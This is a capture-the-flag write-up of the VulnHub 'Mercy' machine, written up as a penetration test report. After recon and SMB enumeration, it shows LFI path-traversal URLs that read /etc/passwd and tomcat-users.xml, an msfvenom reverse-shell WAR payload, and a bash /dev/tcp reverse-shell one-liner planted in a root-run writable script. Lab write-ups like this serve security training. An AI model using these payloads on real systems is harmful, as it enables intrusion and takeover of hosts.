Penetration Test Report
Mercy is a vulnerable machine from VulnHub and can be downloaded from here
RECON
I began the recon phase by running my script called Autoscan against the target IP 10.0.2.18
Command used:
python3 autoscan_v2.py eth0 10.0.2.18
TCP PortScan
PORT STATE SERVICE VERSION
53/tcp open domain
110/tcp open pop3 Dovecot pop3d
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd (Ubuntu)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
995/tcp open ssl/pop3 Dovecot pop3d
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
UDP PortScan
PORT STATE SERVICE VERSION
53/tcp open domain
137/tcp closed netbios-ns
1337/tcp closed waste
MAC Address: 08:00:27:3D:13:30 (Oracle VirtualBox virtual NIC)
SERVICE ENUMERATION
Phase 1: HTTP port 8080
Tool: Nikto
Command used:
nikto -h http://10.0.2.18:8080
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /: Appears to be a default Apache Tomcat install.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ OSVDB-3720: /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users.
+ /manager/html: Default Tomcat Manager / Host Manager interface found
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found
+ /manager/status: Default Tomcat Server Status interface found
+ 7840 requests: 0 error(s) and 14 item(s) reported on remote host
Based on the above results I looked up the page-path /robots.txt page on the target website and found an interesting entry.
I looked up the page-path /tryharder/tryharder and the page displayed this Base64 code as shown below
SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9ydGFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZCBsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVuIHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpObyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kIGVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg==
I used the command echo “{base64-data}” | base64 -d to decode the encoded data
echo "SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9ydGFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZCBsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVuIHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpObyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kIGVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg==" | base64 -d
Decoded data contains a plaintext password as shown below. Lets remember this as it might be useful.
I then looked up the target IP in a browser to see what was it running at port 8080.
It’s clear that the target is running Tomcat7. The local filesystem path for the installation of Tomcat 7 is exposed. Further down, reading the note I understand that manager webapp and host-manager webapp are restricted to users with role manager-gui and admin-gui. Hence if we are able to find a user with one of these roles assigned then we can get a bit deeper.
I then clicked on either of the hyperlinks manager-gui and admin-gui and I was given a login portal
I tried default user/password combos like admin/admin, admin/password and admin/{blank} etc and none of these worked. Now I clicked on cancel and I was given this 401 Unauthorized page giving the details of the what kind of user/role can get through this page.
before I could move on to another port I ran GoBuster against the target and none of the links above lead to anything interesting.
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.0.2.18:8080/
[+] Threads : 10
[+] Wordlist : /usr/share/seclist/Discovery/Web-Content/tomcat.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/01/13 21:54:58 Starting gobuster
=====================================================
/examples/jsp/index.html (Status: 200)
/examples (Status: 302)
/examples/servlets/index.html (Status: 200)
/host-manager (Status: 302)
/manager (Status: 302)
/examples/jsp/snp/snoop.jsp (Status: 200)
/manager/status.xsd (Status: 200)
=====================================================
2019/01/13 21:54:58 Finished
=====================================================
Phase 2: SAMBA port 445
Tool: enum4linux
Command used:
enum4linux 10.0.2.18
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Jan 13 22:50:47 2019
==========================
| Target Information |
==========================
Target ........... 10.0.2.18
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=================================================
| Enumerating Workgroup/Domain on 10.0.2.18 |
=================================================
[+] Got domain/workgroup name: WORKGROUP
=========================================
| Nbtstat Information for 10.0.2.18 |
=========================================
Looking up status of 10.0.2.18
MERCY <00> - B <ACTIVE> Workstation Service
MERCY <03> - B <ACTIVE> Messenger Service
MERCY <20> - B <ACTIVE> File Server Service
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
==================================
| Session Check on 10.0.2.18 |
==================================
[+] Server 10.0.2.18 allows sessions using username '', password ''
========================================
| Getting domain SID for 10.0.2.18 |
========================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
===================================
| OS information on 10.0.2.18 |
===================================
[+] Got OS info for 10.0.2.18 from smbclient:
[+] Got OS info for 10.0.2.18 from srvinfo:
MERCY Wk Sv PrQ Unx NT SNT MERCY server (Samba, Ubuntu)
platform_id : 500
os version : 6.1
server type : 0x809a03
==========================
| Users on 10.0.2.18 |
==========================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: pleadformercy Name: QIU Desc:
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: qiu Name: Desc:
user:[pleadformercy] rid:[0x3e8]
user:[qiu] rid:[0x3e9]
======================================
| Share Enumeration on 10.0.2.18 |
======================================
WARNING: The "syslog" option is deprecated
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
qiu Disk
IPC$ IPC IPC Service (MERCY server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP
[+] Attempting to map shares on 10.0.2.18
//10.0.2.18/print$ Mapping: DENIED, Listing: N/A
//10.0.2.18/qiu Mapping: DENIED, Listing: N/A
//10.0.2.18/IPC$ [E] Can't understand response:
WARNING: The "syslog" option is deprecated
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
=================================================
| Password Policy Information for 10.0.2.18 |
=================================================
[+] Attaching to 10.0.2.18 using a NULL share
[+] Trying protocol 445/SMB...
[+] Found domain(s):
[+] MERCY
[+] Builtin
[+] Password Info for Domain: MERCY
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
===========================
| Groups on 10.0.2.18 |
===========================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
====================================================================
| Users on 10.0.2.18 via RID cycling (RIDS: 500-550,1000-1050) |
====================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-3544418579-3748865642-433680629
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-500 *unknown*\*unknown* (8)
..snipped..
S-1-5-32-543 *unknown*\*unknown* (8)
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
S-1-5-32-1000 *unknown*\*unknown* (8)
S-1-5-32-1001 *unknown*\*unknown* (8)
..snipped..
S-1-5-32-1049 *unknown*\*unknown* (8)
S-1-5-32-1050 *unknown*\*unknown* (8)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\pleadformercy (Local User)
S-1-22-1-1001 Unix User\qiu (Local User)
S-1-22-1-1002 Unix User\thisisasuperduperlonguser (Local User)
S-1-22-1-1003 Unix User\fluffy (Local User)
[+] Enumerating users using SID S-1-5-21-3544418579-3748865642-433680629 and logon username '', password ''
S-1-5-21-3544418579-3748865642-433680629-500 *unknown*\*unknown* (8)
S-1-5-21-3544418579-3748865642-433680629-501 MERCY\nobody (Local User)
S-1-5-21-3544418579-3748865642-433680629-502 *unknown*\*unknown* (8)
..snipped..
S-1-5-21-3544418579-3748865642-433680629-512 *unknown*\*unknown* (8)
S-1-5-21-3544418579-3748865642-433680629-513 MERCY\None (Domain Group)
S-1-5-21-3544418579-3748865642-433680629-516 *unknown*\*unknown* (8)
..snipped..
S-1-5-21-3544418579-3748865642-433680629-549 *unknown*\*unknown* (8)
S-1-5-21-3544418579-3748865642-433680629-550 *unknown*\*unknown* (8)
S-1-5-21-3544418579-3748865642-433680629-1000 MERCY\pleadformercy (Local User)
S-1-5-21-3544418579-3748865642-433680629-1001 MERCY\qiu (Local User)
S-1-5-21-3544418579-3748865642-433680629-1002 *unknown*\*unknown* (8)
S-1-5-21-3544418579-3748865642-433680629-1003 *unknown*\*unknown* (8)
..snipped..
==========================================
| Getting printer info for 10.0.2.18 |
==========================================
No printers returned.
enum4linux complete on Sun Jan 13 22:51:01 2019
From the log above, I found 2 domains and 4 usernames. When reading through the share information the user qiu has her own share hence we will choose her name as a username for the time being. Moreover based on the hint I got earlier, that a female employee had used the password password and qiu seems to be a female name so I went with that username/password combo.
Lets use the tool smbmap to map the samba share list
Command used:
smbmap -r -u qiu -p password -H 10.0.2.18 -d WORKGROUP
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.0.2.18...
[+] IP: 10.0.2.18:445 Name: 10.0.2.18
Disk Permissions
---- -----------
print$ READ ONLY
./
dr--r--r-- 0 Fri Aug 24 20:20:25 2018 .
dr--r--r-- 0 Mon Jan 14 04:30:33 2019 ..
dr--r--r-- 0 Tue May 24 20:50:56 2016 IA64
dr--r--r-- 0 Tue May 24 20:50:56 2016 COLOR
dr--r--r-- 0 Tue May 24 20:50:56 2016 W32MIPS
dr--r--r-- 0 Tue May 24 20:50:56 2016 W32PPC
dr--r--r-- 0 Tue May 24 20:50:56 2016 W32X86
dr--r--r-- 0 Tue May 24 20:50:56 2016 WIN40
dr--r--r-- 0 Tue May 24 20:50:56 2016 W32ALPHA
dr--r--r-- 0 Tue May 24 20:50:56 2016 x64
qiu READ ONLY
./
dr--r--r-- 0 Sat Sep 1 02:07:00 2018 .
dr--r--r-- 0 Mon Nov 19 23:59:09 2018 ..
fr--r--r-- 3637 Sun Aug 26 20:19:34 2018 .bashrc
dr--r--r-- 0 Sun Aug 26 21:23:24 2018 .public
fr--r--r-- 163 Sat Sep 1 02:11:34 2018 .bash_history
dr--r--r-- 0 Sat Sep 1 01:22:05 2018 .cache
dr--r--r-- 0 Sun Aug 26 23:35:34 2018 .private
fr--r--r-- 220 Sun Aug 26 20:19:34 2018 .bash_logout
fr--r--r-- 675 Sun Aug 26 20:19:34 2018 .profile
IPC$ NO ACCESS
Next I used the tool smbclient to peek further inside user qiu’s shared folder
Command used:
smbclient //MERCY/qiu -I 10.0.2.18 -U qiu
downloaded all possible files from the above locations
I opened the config file and found this interesting information regarding opening services using port knock
Lets start on knocking the HTTP port 80, but before that lets take a look at the port 80
as you can see above port 80 is filtered
Now moving forward with port knocking, I developed a Python 3 script to successfully knock in the right sequence
code:
#!/usr/bin/env python
import socket
import subprocess
ports=[159,27391,4]
for i in ports:
print ("knocking on port: %s"%(i))
subprocess.getoutput("nping --tcp -p %s --ttl 100 10.0.2.18 -c 1"%(i))
screenshots of the port knock follows
Phase 3: HTTP port 80
Tool: Nikto
Command used:
nikto -h http://10.0.2.18:80
+ OSVDB-3268: /mercy/: Directory indexing found.
+ Entry '/mercy/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Cookie stylesheet created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.25
+ Entry '/nomercy/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.html: Admin login page/section found.
+ 7537 requests: 0 error(s) and 14 item(s) reported on remote host
Based on the log above I checked every interesting path of the webserver
I now looked up the page-path /nomercy The above page gives me a feeling that this could be exploitable. Lets go for it!
EXPLOITATION
Phase 1:
I looked up RIPS 0.53 in exploit-db and found an exploit
The exploit I found had multiple LFI vulnerabilites. I tried out and it was a success.
Command used:
http://10.0.2.18/nomercy/windows/code.php?file=../../../../../../etc/passwd
I used the above local file inclusion vulnerability to view the credentials of the manager and host-manager. To get this done I went to the very beginning information I enumerated which is the index page running at port 8080
Command used:
http://10.0.2.18/nomercy/windows/code.php?file=../../../../../../etc/tomcat7/tomcat-users.xml
We found the 2 other user’s password
Now, I logged into the login portal of http://10.0.2.18:8080/manager-gui/ and yes it as success!
Phase 2:
As we had admin level access to this Tomcat 7 server and .war file extension type of files are used to deploy an executable, I decided to use Metasploit’s MSFVenom to create a reverse shell .war payload.
Command used:
msfvenom -p java/shell_reverse_tcp LHOST=10.0.2.5 LPORT=4444 -f war > revmercy2.war
uploaded the file to server
setup a listener on my terminal, looked up the file-path /revmercy2 and caught a reverse shell as shown below
Command used:
nc -nlvp 4444
As you can see above there are two network interfaces the one we got into and theres one more internal network.
I then uploaded socat_x86 after I found out it was an x86 machine. I was searching the home folder and was able to access the following users home folder
I downloaded these files to my machine and viewed, there was nothing interesting
Phase 3:
Now moving on to port knock to open ssh service and to do that I modified my script
code:
#!/usr/bin/env python
import socket
import subprocess
#ports=[159,27391,4] open HTTP
ports=[17301,28504,9999]
for i in ports:
print ("knocking on port: %s"%(i))
subprocess.getoutput("nping --tcp -p %s --ttl 100 10.0.2.18 -c 1"%(i))
I tried the credentials qiu and password agains the ssh service and that didnt log me in
I then uploaded this perl scanning script(not mine)
#!/usr/bin/perl
# Easy port scanner
# I wrote this in the 90s to help learn socket programming
# ./quickscan -h for usage
use Socket;
$| = 1; # so \r works right
my ($ip, $protocol, $port, $myhouse, $yourhouse, $log);
$protocol = getprotobyname('tcp');
($ip, $port, $port_stop, $log) = @ARGV;
if ($ip eq "-h") {
&usage();
}
$ip = "localhost" if not $ip;
$port = 1 if not $port;
$port_stop = 1024 if not $port_stop;
$log = "qsopenports.txt" if not $log;
unless (open(LOG_FILE, ">>$log")) {
die "Can't open log file $log for writing: $!\n"
}
# Make file handle hot so the buffer is flushed after every write
select((select(LOG_FILE), $| = 1)[0]);
print LOG_FILE "The following ports are open on $ip between port $port and $port_stop\n\n";
print "Checking $ip for open ports..\n";
for (; $port < $port_stop; $port += 1) {
socket(SOCKET, PF_INET, SOCK_STREAM, $protocol);
$yourhouse = inet_aton($ip);
$myhouse = sockaddr_in($port, $yourhouse);
if (!connect(SOCKET, $myhouse)) {
printf "%d\r", $port;
} else {
printf "%d <- open\n", $port;
print LOG_FILE "$port\n";
close SOCKET || die "close: $!";
}
}
close LOG_FILE || die "close: $!";
printf "QuickScan complete.\n";
printf "Those are the open ports for: $ip\n";
sub usage() {
print "Usage: ./quickscan [host] [start port] [stop port] [logfile]\n";
print "Defaults to localhost and port 1 and port 1024 qsopenports.txt\n";
exit 0;
}
ran this script against IP 192.168.122.1
Command used:
perl scan.pl 192.168.122.1 0-65535
53 <- open
110 <- open
139 <- open
143 <- open
445 <- open
993 <- open
995 <- open
I created this bash script just to check the live hosts, just in case if there were any other host alive other than .1
code:
#!/bin/bash
for i in `seq 1 255`; do ping -c 1 192.168.122.$i | grep "64 bytes" | cut -d ' ' -f4| cut -d ':' -f1;done
only 1 IP was alive and this was a dead end
Then I thought of changing user to fluffy and that way I could see whats inside that user’s home folder. I used the password found earlier from the LFI attack
I then shifted my attention towards the file called timeclock because the file timeclock is worldwriteable(means any valid user can edit this file despite being owned by root - big mistake). The checked the current list of running processes by root using the command ps aux | grep root and I found timeclock was listed in there and I could deduce that its being run at regular intervals. Also this file being a world-writeable, I edited the file to give me a reverse shell.
Reverse shell:
bash -i >& /dev/tcp/10.0.2.5/777 0>&1
and then I echoed this one-liner code into the file timeclock
All that was left for more was to setup a netcat listener and waiting for a reverse shell
ROOT ACCESS GAINED
As seen below the listener I setup, caught a root shell. I then verify the target IP and ID for reporting purposes.
Finally we wrap this Penetest by reading proof.txt and author-secret.txt